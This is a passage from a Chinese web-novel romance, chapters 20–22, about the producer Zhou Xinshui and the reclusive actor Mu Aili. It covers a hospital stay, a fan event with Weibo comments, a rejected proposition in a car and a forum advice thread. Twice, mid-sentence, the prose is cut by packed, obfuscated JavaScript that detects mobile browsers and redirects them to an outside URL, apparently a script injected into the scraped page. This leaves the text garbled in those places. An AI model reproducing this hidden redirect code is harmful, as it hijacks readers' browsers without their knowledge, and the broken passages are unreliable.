医院有一次性水杯,但冬天冷,水容易凉,他跑到楼下卖生活用品的地方买了个粉色保温杯,又买了点枸杞冰糖。 他把水杯递给木哀梨,“明天的活动,我送你去吧。” 木哀梨接过粉色保温杯,默了许久,“你确实需要看看时尚展。” “为什么?” 木哀梨想起周新水给他穿的肤色秋裤,白色木耳边长袜和自己的尖头切尔西靴,以及眼前芭比粉的保温杯,只觉得无力,连解释的心思都没有。 病房有单独的陪护床,周新水打算今晚就睡这里。晚上木哀梨的人送来衣服,周新水那时正在跟其他员工打电话沟通,挂了电话就听见一个女声说:“明天十点我让司机来接你。” “不用,有人送。” “谁?” “喏。” 周新水听着还有自己的事,赶忙挂了电话,走到门口,“你好,我是周新水,明天不用派人来,我送他去就行。” 万凝雪见人来,下意识笑着,听见周新水的名字,又笑容一滞,“我知道你。” 周新水也反应过来。 “把我骂得狗血淋头的周、总、监。” 周新水深吸一口气,连忙推着万凝雪转过身去,低声道:“事出有因,情有可原,姐,您别跟我计较。” 万凝雪毫不领情地推开他:“木木啊,我看你也用不着我了,直接让周总监给你当经纪人吧。” “这话说得赌气,万姐你能力过人,有情有义,怎么会是我一个外人能取代的?木先生,你说是吧?” 木哀梨含笑问:“所以,到底怎么了?” 万凝雪哼了一声,“还不是你干的好事,不让我管你的事,结果呢,你粉丝对我怨气可重得不行。” “受委屈了,今年年终奖翻倍,万姐?” 万姐霎时就笑了。 周新水心里默念可别再追问了,再问就要露马脚了,结果越不想什么,越是来什么,木哀梨靠着门,轻挑眉梢,“是我的粉丝啊?” 周新水抿唇不说话。 他也不知道自己这种心理该怎么描述,一开始撞见木哀梨被翟开诚纠缠,他怕尴尬,才装成卖保险的,后来又一起拍了杂志,成了摄影师助理,最后在柯图家里再相遇,他摇身一变,又成了制片人。 他有无数次机会说自己是木哀梨粉丝,但是他一直没说。 如果真的承认了,他和木哀梨的关系就变成大明星和他的小粉丝,而不是艺人和他的合作伙伴,他的同门师兄弟,他的圈内好友。 更重要的是,要是他认了粉丝身份,万一日后哪天,他真入了木哀梨的眼,木哀梨岂不是睡粉? 越是心虚,越容易被发现,周新水坦坦荡荡:“木先生,你可是我一心想邀请的主演,你要是塌了,我怎么回去跟老板交代?” 然而终究是强弩之末,他装作解释清楚,低着头往病房里走,这碰碰,那摸摸,好像很忙的样子,最后拿起粉色保温杯,摇了摇,“水快喝完了吧,我去给你再接点……这声音?” 他又摇,听见的却不是哗啦啦的声音,而是劈里啪啦的响。 木哀梨面色微变,伸手要夺走保温杯,周新水躲开,拧开瓶盖一看,登时找回了场子。 “你上哪儿整的冰块?” 21. 第 21 章 木哀梨收回手,整顿了神容,只是简单往床上一坐,左腿一抬,眼皮一掀,便又恢复冷淡傲气的姿态。 “你管得着么?” 他那双眼太摄人,周新水心跳乱了,竟真有种自己不占理的错觉,“好吧,那我问问医生发烧的人需不需要冰块降温。” 木哀梨突然伸手,抓住周新水的裤腰,大号病号服松垮,周新水险些以为自己裤子被扒了。 “不用麻烦了,周先生,你觉得呢?” 木哀梨噙着笑,宛如一条美人蛇,这蛇吐着蛇信子,盘绕在周新水身上,威胁要是敢多事就用毒素令他神智崩溃、用蛇身勒到他窒息。 “好啊,木先生说不用,那自然就不用,我再帮木先生接点热水?”周新水攥紧自己裤腰带,徐徐一笑。 “去。”木哀梨赶狗一样朝他一甩手,没多施舍眼神,靠上床头。 周新水麻溜地去了。 木哀梨不爱喝热水,周新水观察了一晚上,一边用手机办公,一边出神琢磨怎么才能让木哀梨爱上喝热水。 他的工作处理得很快,到晚上已经闲下来,病房里有陪护床,他今晚就睡这里,墙面挂了一台大屏电视剧,周新水问木哀梨他能不能放视频。 木哀梨盯着他看了好一会,“你想放什么?” 他把木哀梨演的电影都盘包浆了,还是爱看,但木哀梨这反应,估计是不想在房间里看见自己的脸出现在荧幕上,只能退而求其次。 “刚公映的新电影,讲农村的,你看过吗?” 木哀梨不感兴趣地收回视线,“放吧。” 这部电影拍摄水平很高,但剧本和内核有不小的问题,周新水看了半个小时就开始走神。 木哀梨则是一开始就没看,专心致志地玩手机。 不知道他的手机怎么那么好玩。 周新水站起身来,若无其事地拉了拉肩,又压了压腿,慢慢走到木哀梨床边,低头一看,正好和木哀梨对上视线。 他缓缓扭过头,就听见木哀梨冷冷的声音,“好看吗?” “还行吧,大部分镜头都挺不错,真实取景和绿幕安排得恰到好处,妆造什么的也很还原,看得出用心钻研过。” 木哀梨自下而上睨着他。 当着演员的面夸别的电影确实容易惹人不快,即使他已经很小心地没有夸奖这部戏里任何一个演员的演技,为了挽救自己在木哀梨心中的好感度,他又如实补充: “不过这戏虽然着眼在二十年前的农村,贫困家庭,却透露出一股小资味,明晃晃是有钱人拍的看似真实其实满是刻板印象的农村。” “每个角色都苦大仇深,像是全天下的苦难都聚集到了这几个人身上,偶尔笑一笑,也是苦中作乐,强颜欢笑。所有人都不相信贫困人民也会发自内心地高兴。” “但我小时候,没觉得村里人整天苦哈哈的。” 周新水等着木哀梨的点评,屋内却诡异地静默下来,电视上主角父亲挖煤遇难,主角哭天抢地,哭声凄厉,在病房里经久不绝。 许久后,木哀梨说:“我问你我手机好看吗。” 周新水:“……” “我没看见。”他老实交代。 木哀梨勾了勾唇角,摘下耳机,手指在屏幕上滑动了几下,一声“unbelievable”欢乐地插进电影哭声中。 他把手机侧过来,是熟悉的游戏界面,看起来关卡很靠后了。 从来没有人拍到过木哀梨玩消消乐,狗仔好不敬业。 他掏出自己的手机,“我也玩,加个好友吗?” 木哀梨施舍般把手机递给他,周新水三两下操作好。 他上学时玩得多,有些水课不玩手机根本熬不下去,上班之后玩得少,手生,回归第一关就卡了许久,他偷偷瞄一眼认真玩游戏的木哀梨,给他发了一个好友代打。 木哀梨瞥了他一眼,很快帮他过关。 “你真厉害。” 他把木哀梨帮他过关的提示截图,好好存起来。 这游戏是有点魔力,周新水艰难地过了几关,又陷入瓶颈,一直过不去,较劲地坐直起来,还是反复失败。 这时一只纤细的手在他屏幕上轻轻划了一下。 登时消掉了许多,还触发了特殊效果,欢快的游戏声不绝于耳。 木哀梨面无表情地回到床上,“蠢货,过关了就睡觉。” 他把被子一拉,半张脸都藏进去。 周新水摸摸鼻子,看关卡顺利度过,暗自哇塞一声,勤勤恳恳起身关灯、关窗,回到床上,也缩进被子里,静音玩。 他玩着玩着,听见木哀梨冷不丁问:“如果是你来拍这个电影,你会把它改成什么样?” “我?” 周新水徐徐露头,默想片刻,和奶奶在老家的记忆已经过去很多年,在时间的风化下越来越不清晰,用力回想,也只能想起几个片刻。 最频繁的自然是天不亮就跟着奶奶下地里去,大人们扯着嗓子闲聊,或者骂骂咧咧,他听不懂大人们说的内容,窝在背篓里睡觉。 此外也就是堂哥进城读书后,他在村里跟着其他小孩招猫逗狗,滚得浑身脏兮兮的,到傍晚其他人都回家吃饭,他跑到村头看有没有人也接他去城里。 他的过去普普通通,跟需要戏剧性的电影相差甚远,没多少参考价值。 “我不知道,我不是编剧。” 木哀梨没再说话,周新水等着,这一关卡倒计时结束,他没再继续,也关了手机睡觉。 这次线下活动由木哀梨代言的一个奢侈品主办,原本只是展览,为了宣传效果,联系了木哀梨在场馆开一场粉丝见面会,邀请消费过的粉丝来线下。 周新水也收到了邀请,他不打算去,但联系了同担,也找了代拍在艺术馆外拍图。 木哀梨没有报地点,周新水也没问。 到地方后周新水打算在馆外等着,但木哀梨的助理姜馨把他带去了艺术馆二楼。 粉丝陆陆续续进场,周新水趴在栏杆上,跟台下的粉丝一样焦急等待。 有人注意到二楼的他,拉着周围的人讨论,甚至还想拍照,周新水发现她们的动作,并没有阻止,只是找到姜馨。 “能给我个帽子吗?” 姜馨不明白他想做什么,但因为是木哀梨带来的人,尽力满足他的需求,找品牌方借了个八角帽。 周新水带上帽子,低着头回到二楼边上,有人拍照没关闪光灯,灯光一闪,周新水像是才注意到有人偷拍,把帽檐压低,接着玩手机。 没一会,他就在微博刷到了自己。 投稿的人说:“今天线下活动拍到的,独自站在二楼,不是工作人员,也不下来跟我们交流,有人看见他和梨助理说话,疑似新姐夫。” 附图是周新水倚在栏杆上,二楼没有开灯,咖色八角帽加上低头的姿势让他大半张脸都隐没在阴影里,一件黑色大衣挂在他宽阔的肩膀上,白色衬衫领口让整张照片不那么沉闷。 -不允许 -看起来很行,比白斩鸡好 -干得小梨喵喵叫 -我又失恋了 周新水把照片保存下来,台下一阵欢呼声,只见木哀梨刚露了个头,粉丝就捂着嘴原地跳个不停,此起彼伏的“乖女儿”。 他也默默打开相机,放大,再放大。 木哀梨脸上没什么表情,只在台上站定时淡淡一笑,他同样一件黑色大衣,腰带一绑,整个人细细一条,下身的宽版直筒裤放在常人身上或许显得臃肿,但木哀梨手长腿长,穿着正合适。 摄像头对准木哀梨的脸,超清镜头,能看见木哀梨并没有化妆,只是去后台换了身衣服。 周新水越看越高兴,木哀梨天生丽质,随便拍都是神图,不是那些画着又厚又油妆容后期要报工伤最后还营销美貌的人能比的。 他稍稍缩小镜头,精挑细选角度拍了一张特别可爱的木哀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123055|195988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梨,po在自己大号上。他经常找代拍,超快出图,同担见怪不怪。 发完照片他就消失,直勾勾盯着台上的木哀梨,互动时间不短,木哀梨话不多,简单几句,如同清淡冷冽的泉水从山头流下来,不出意外又有粉丝要扣字剪梦向音频。 活动结束时,木哀梨擦着粉丝边上离开,有粉丝被近距离的美颜惊到失声,手机哐地掉到地上,木哀梨弯腰捡起,递给那失神的粉丝。 他没说话,把手机递回去,转身就走了。 每当这时,周新水才能感受到木哀梨还是那个木哀梨。他不会用这个机会媚粉,假模假样挤出一个笑容,说些暧昧不清的话,只是把手机捡起来,就像一个路人日行一善,没有任何镜头,纯粹的,不惨杂质的善。 木哀梨消失后,周新水刷着微博下楼,准备去和他回合。 刚发的那条微博已经有万赞,周新水准备欣赏同担对木哀梨的赞美以及对自己摄影技术的钦佩。 -把我女拍成大头娃娃了真有你的 -三百六十度无死角的猫猫被你找到了第三百六十一度[赞] -求你放我我家世界级神颜、公认零零后顶颜、大荧幕宠儿 -有脱粉的考虑吗? 周新水目光难以置信地掠过这些评论,无法理解脑袋大大圆圆的身子小小的像个棒棒糖的木哀梨哪里不好看了。 他不死心往下翻,曲高和寡,总有人能理解他独特的审美。 然后就翻到一条。 用户sh38k9hdl9a:丑死了 啃口梨:哪儿丑了?欣赏不来自己挖眼珠子好吗?我女都丑的话全世界的人都是癞蛤蟆! 用户sh38k9hdl9a:我说的不是人。 用户sh38k9hdl9a:是你的技术。 周新水:“……” 周新水胸口剧烈起伏,喘了好一阵,才忿忿地用两个字结束了争吵:没品! 他刚退出,主页一刷新就是几个bot关于木哀梨的稿件。 其中一个还跟啃口梨有关。 内容是:没人觉得啃哥这个照片的角度很像艺术馆二楼那个男人能拍出来的吗? -背叛组织,不能忍 -啃哥你谈上美女我也会祝福你,但不能是木哀梨这种大美女 -都穿黑色大衣…… -一直在挑衅我 -我超这个猫猫好娇妻,又在暗戳戳秀 -所以,实锤呢? 低跟皮鞋踩在地板上发出轻巧的步履声,是木哀梨,周新水对他的脚步声相当熟悉。 他关了手机,还把屏幕正面朝下。 “姜馨还有事,我让她先走了。” 木哀梨站在两米远的廊道,身影细长,神色淡淡。 “我送你。” 虽然不知道为什么姜馨作为木哀梨的助理,却能抛下木哀梨,自己先走了,周新水不打算深究,也不敢深究,毕竟这给了他再和木哀梨共处一地的时间,细算起来他还要感谢姜馨,忙点好,祝愿姜馨每天都有处理不完的工作。 “还是回顿新?” 周新水问副驾驶位的木哀梨。 木哀梨微微点头,旋即玩起小游戏。 “unbelievable”的声音在车厢内反反复复,周新水心也跟着欢快,刚开上快速路,自己的手机叮当响个不停。 他纳闷谁给他发信息,突然想起自己约的代拍应该收工了,估计是对方。 木哀梨也听见,问:“你的消息。” 周新水当然不敢这时候点开看,只说:“不急,我待会看。” 木哀梨便也没再说什么,自顾自玩着手机,但游戏声消失,不知道在看什么。周新水趁着堵车,瞟了一眼他的屏幕,短短一瞬,只看见是微博,账号是原始头像。 木哀梨在刷微博。 那几个吵得火热的投稿,肯定也会推给当事人。 完了。 22. 第 22 章 周新水面色淡定自若,心里却毛毛的,像是有人往他身上丢了毛毛虫。 终于等到十字路口的红灯,周新水迅速拿起手机,想起方才说的不急,又转而装作风轻云淡的模样,慢条斯理把微博删了,还下了几张代拍发的高清图,连发五条微博,试图转移话题。 趁着最后十秒,把那几个发了疑似新姐夫稿件的bot全部举报了。 他满意地欣赏成果,余光瞥见木哀梨正要打开收纳箱,他瞳孔微颤,按住木哀梨的手。 那手没什么肉,像是只有一层荔枝白的肌肤覆盖在骨骼上,有些凉,不过很快被他的体温烫热。 “怎么了?” 木哀梨却不说话,用近乎审视的眼神打量周新水。 绿灯亮起,周新水收手,启动车辆。 “手心出了些冷汗,我找纸巾。” 木哀梨这才开口。 被周新水一阻拦,他也没再强行打开储物箱,好整以暇靠在靠背上,等周新水服务他。 上次送木哀梨去酒店,周新水就意识到自己车里的东西还得再收拾收拾,常用的纸巾周围更是不能有任何周边。 “纸巾在这。” 扶手箱里只有一包抽纸,他单手掀起箱门,让木哀梨拿纸。 虽然纸巾顺利给出去,他内心忐忑仍然没有散去,怕木哀梨问为什么阻拦他,但木哀梨似乎对他的异常不感兴趣,擦了擦手,便把纸巾搓成团捏在手里。 “昨晚上那个问题,想好了吗?” 安静的车厢里,木哀梨淡淡问。 为什么木哀梨不追问他储物箱放了什么东西不能见人,周新水不知道,他有时期待木哀梨能刨根问底,但木哀梨放过他,他也会感到松了口气。 “如果是我,我不会刻意去渲染农村有多么的贫穷,有多么的落后,有多么的困苦。我会写他们高高兴兴地起早赶集,跟偶然碰见的熟人谈天说地,直到小孩急得拽人衣服想赶紧走,用几张皱巴巴的钱买一件聚酯纤维的时髦衣服,太阳出来前背着背篓下地,收了菜卖个几毛钱,收了谷子自己打成米。” 他想了下,“还有年节时流动到村里的表演队伍,到了夜里把小孩妇女赶回家。” 小时候不知道那是什么意思,现在知道了,也不好奇了。青春期的时候室友邀请他一起看十八禁,比起室友们亢奋的表现,他几乎可以用失望来形容。片里的赤身裸体根本没办法提起他的兴趣,他只觉得那些□□丑陋得该感谢衣服。 木哀梨说:“把小孩妇女赶回家。” 他语气很平,不是询问,也不是质问,尾音咬得很轻,像风一样。 前面一辆小轿车突然加塞,周新水紧急刹车,巨大的推背感让他感到心脏落在了后面。 “嗯。” 木哀梨听懂了他的言下之意,也料到他脑海中浮现的画面,微妙地重复他的话。 周新水知道木哀梨听懂了,也猜到木哀梨说这话的意味。 但谁也没明说。 木哀梨指甲修剪得很好,只突出小小一截,平时触屏并不会发出声音,此时似乎故意为之,不知道在看什么,看了许久,平稳而和缓的碰击声回荡在车内,一直到转角,顿新的大楼闯入视野。 “很想要我?” 好糟糕的台词,本来就容易让人浮想联翩,偏偏周新水不久前自己也说过这句暧昧不清的话,耳根暗自烧起来。 “我想要你,”周新水打转方向盘,宽掌上青筋微凸,整个世界向左旋转,“演我的剧本。” 车进入车库。 周新水打开车门锁,见木哀梨没有动作,下意识还把他当病号对待,俯身过去想解他的安全带,然而胸口一颤,木哀梨的脸近在咫尺。 木哀梨抓着他胸口的布料,几乎让他贴在了木哀梨脸上,甚至能感受到那细微呼吸透出的淡淡凉意。 “木……” “想要我演你的剧本,或许有点难,不如换一个?” 木哀梨眼眸含笑,指尖划过周新水胸口,柔软的肌肉瞬间绷紧。 “换一个?”周新水一手撑在车门上,一手握住木哀梨作乱的手,把那柔软的手掌按进自己怀里,“换什么?” “换成……要我。” 木哀梨抽出手,摸上周新水的脸,手指划过他高挺的鼻梁,单薄的眼皮和浓黑的眉。 周围空气像是被抽干了,周新水猛地往后一倒,歪倒在主驾驶座位上。猛烈的震颤唤醒他,令他宛如溺水的人求救般呼吸。 “你说什么?” 木哀梨蹙眉,“没听懂?” 周新水僵住,木哀梨抬起下巴,“我说,与其要我演你的剧本,不如,要我和你睡觉。” 周新水迟迟没有说话。 冷气无端而生,渐渐渗透他的身体,暧昧的气息悄无声息消散。 周新水说:“你不要这么随便,这种事情应该慎之又慎。” 木哀梨面色骤冷,他解开安全带,径直下了车,车门重重砸过来,周新水惊醒,下车追过去,他抓住木哀梨的手腕,木哀梨皱起眉,厌恶地看着他。 “叶公好龙。” 木哀梨面若寒霜,仿佛冰天雪地里一枝冷艳的花,一根根手指地掰开周新水的手,最后毫不留情地抽手。 车库温度很低,时不时灌进来一阵冷风,几乎把人冻到晕厥。 周新水蹲在车边,感觉自己像一条被遗弃的狗,被遗弃的理由可能是主人想和狗睡觉但狗觉得这有悖人伦于是拒绝了主人。 消消乐显示木哀梨在线,他给木哀梨发了代打,木哀梨没理他。 冷气从口中卷入肺里,像是坠进了冰湖,从里到外都冷透了。 没有人比他更想成为木哀梨的入幕之宾,他想了十年,想得快要发疯。 但木哀梨花名在外,三五个月一任,哪怕他真的和木哀梨有了亲密关系,也留不住这只自由的鸟。 一个合格的前任就应该像死了一样从木哀梨的世界里消失,他对木哀梨的每一个前任都秉持这样的观点,甚至认为能和木哀梨谈一场恋爱是他们八辈子修来的福分,哪怕被甩,也应该感恩戴德。 不可能因为下一个前任是自己,就实行双重标准。 平心而论,周新水自己也没办法不纠缠。他理直气壮地抨击翟开诚,无非因为被甩的不是他。 他好不容易混到勉强算朋友的地步,贸然再进一步,就为了短暂地品尝一口绚丽的美好,最后形同陌路,连朋友也当不了,简直难以接受。 他希望木哀梨好,希望木哀梨认认真真谈对象,如果那个对象是他就更好。 用户83hsi8wha9:求助,朋友拒绝了我的工作邀请,但邀请我睡觉。 -? -闹呢。 -还没起号成功吗 用户83hsi8wha9:不是起号,是真的求助。 -你有啥问题? 用户83hsi8wha9:事情是这样的,我是男的,我朋友也是男的,他最近两年没什么长期工作,其他人都嘲讽他,我看不过去,刚好手里有一个工作机会,很适合他,就想着请他来,可是他不愿意。他拒绝了和我一起工作,但邀请我一起睡觉。 -男同好恐怖< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123056|195988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> -山呢,我的山呢,我的崆峒山呢 用户83hsi8wha9:不恐怖,他很漂亮,秾桃滟李,不开玩笑,你们见了也会喜欢的 -无图无真相,我不信。 -我不信。 用户83hsi8wha9:照片不能发,你们往世界上最好看的人想就好了。 -“也会喜欢”。 -那你有啥问题,你喜欢他,他想跟你光着膀子促膝长谈。 用户83hsi8wha9:我拒绝了,他很生气。 -? -恁说啥我咋看不懂 -你到底喜不喜欢他? 用户83hsi8wha9:我觉得他不应该这么随便,谈恋爱应该是一件需要慎重考虑的事情。他在这方面一直都很不上心,我觉得对他不好。而且很快就分手,我不想分。 -他说要和你谈恋爱了吗? 用户83hsi8wha9:? -男同很乱的吧,他可能只是想约,你想太多了 用户83hsi8wha9:他不是这样的人。 -不是你说的他很随便? 用户83hsi8wha9:但是他给每个人名分,不是炮友。 -起号实锤,这人设不是照着我女抄吗 -有多随便,你们认识几天? 用户83hsi8wha9:我们是初中同学,到现在十年了。 -那也不算随便啊,十年,孩子小学都快毕业了 -他没工作你还帮他找工作,他觉得你是好人吧 -难道你朋友想以身相许报恩? -可是贴主朋友没答应工作邀约啊 用户83hsi8wha9:我认识他十年,但他不记得了,从他的角度来看,我就是一个刚认识两三个月的朋友。 -刚认识两三个月你就给人家送工作啊,你暗恋他啊? -他不去的话,能不能给我内推一下 用户83hsi8wha9:这个工作要求很高,你长得不太适合。 -?人身攻击举报了 -现在是什么情况 用户83hsi8wha9:他刚下车走了,很生气,冷着脸,我没敢追上去。 -要不你发个微信解释一下? 用户83hsi8wha9:我没有他的微信。 -我不行了 -你说的朋友不会是前一个贴子里闯进浴室看你裸体的朋友吧 用户83hsi8wha9:是他。 -破案了,他馋你身子,你却想上人家户口本 -你表现太殷勤,他觉得你也图他身子,结果并不是,所以他怀疑你图谋不轨? -你这种太过珍惜和尊重女主不愿意碰她的深情舔狗人设最后都只能眼睁睁看着毒舌傲娇霸道男主和女主白头到老 -男二股慎买 -要不你还是追上去解释清楚吧,就说你是老封建,还想相处看看再那啥,不是别有所图 成为木哀梨长期的、唯一的伴侣难度太高,暂时不考虑,但至少不能把朋友的身份也弄丢了。 周新水决定去找木哀梨。 顿新的套房面积不小,一层楼只有几间,长廊没有人影,地面铺着暗红色地毯,墙上壁灯投下朦胧的光。 刚才蹲太久,衣服有些变形,他把褶皱压平,才抬手敲门。 木哀梨已经洗了澡,换上睡袍,胸口v领遮不住什么东西。 他问:“想通了?” 周新水:“我来是想说……” 门又关上了。